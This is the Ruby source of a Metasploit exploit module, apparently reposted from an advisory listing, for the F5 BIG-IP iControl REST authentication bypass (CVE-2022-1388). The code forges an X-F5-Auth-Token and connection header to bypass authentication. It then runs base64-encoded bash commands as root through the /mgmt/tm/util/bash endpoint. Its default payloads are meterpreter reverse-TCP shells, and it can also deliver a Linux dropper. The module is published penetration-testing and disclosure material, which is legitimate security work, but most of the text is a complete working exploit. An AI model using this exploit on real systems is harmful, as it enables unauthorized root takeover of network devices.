Authored by Alt3kx, Ron Bowes, Heyder Andrade, James Horseman | Site metasploit.com

This Metasploit module exploits an authentication bypass vulnerability in the F5 BIG-IP iControl REST service to gain access to the admin account, which is capable of executing commands through the /mgmt/tm/util/bash endpoint. Successful exploitation results in remote code execution as the root user.

advisories | CVE-2022-1388

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl RCE via REST Authentication Bypass',
'Description' => %q{
This module exploits an authentication bypass vulnerability
in the F5 BIG-IP iControl REST service to gain access to the
admin account, which is capable of executing commands
through the /mgmt/tm/util/bash endpoint.

Successful exploitation results in remote code execution
as the root user.
},
'Author' => [
'Heyder Andrade', # Metasploit module
'alt3kx <alt3kx[at]protonmail.com>', # PoC
'James Horseman', # Technical Writeup
'Ron Bowes' # Documentation of exploitation specifics
],
'References' => [
['CVE', '2022-1388'],
['URL', 'https://support.f5.com/csp/article/K23605346'],
['URL', 'https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/'], # Writeup
['URL', 'https://github.com/alt3kx/CVE-2022-1388_PoC'] # PoC
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-05-04', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'CMDSTAGER::FLAVOR' => :bourne,
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 1, # Linux Dropper avoids some timeout issues that Unix Command payloads sometimes encounter.
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts.
'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts.
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
'SideEffects' => [
IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
ARTIFACTS_ON_DISK # CmdStager
]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
OptString.new('HttpUsername', [true, 'iControl username', 'admin']),
OptString.new('HttpPassword', [true, 'iControl password', ''])
]
)
register_advanced_options([
OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
])
end

def check
print_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
'method' => 'GET'
})

return CheckCode::Unknown unless res&.code == 401

body = res.get_json_document

return CheckCode::Safe unless body.key?('message') && body['kind'] == ':resterrorresponse'

signature = Rex::Text.rand_text_alpha(13)
stub = "echo #{signature}"
res = send_command(stub)
return CheckCode::Safe unless res&.code == 200

body = res.get_json_document

return CheckCode::Safe unless body['kind'] == 'tm:util:bash:runstate'

return CheckCode::Vulnerable if body['commandResult'].chomp == signature

CheckCode::Safe
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")

res = send_command(cmd)
unless res
print_warning('Command execution timed out')
return
end

json = res.get_json_document

unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'
fail_with(Failure::PayloadFailed, 'Failed to execute command')
end

print_good('Successfully executed command')

return unless (cmd_result = json['commandResult'])

vprint_line(cmd_result)
end

def send_command(cmd)
bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
'ctype' => 'application/json',
'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
'headers' => {
'Host' => 'localhost',
'Connection' => 'keep-alive, X-F5-Auth-Token',
'X-F5-Auth-Token' => Rex::Text.rand_text_alpha_lower(6)
},
'data' => {
'command' => 'run',
'utilCmdArgs' => "-c '#{bash_cmd}'"
}.to_json
}, datastore['CmdExecTimeout'])
end
end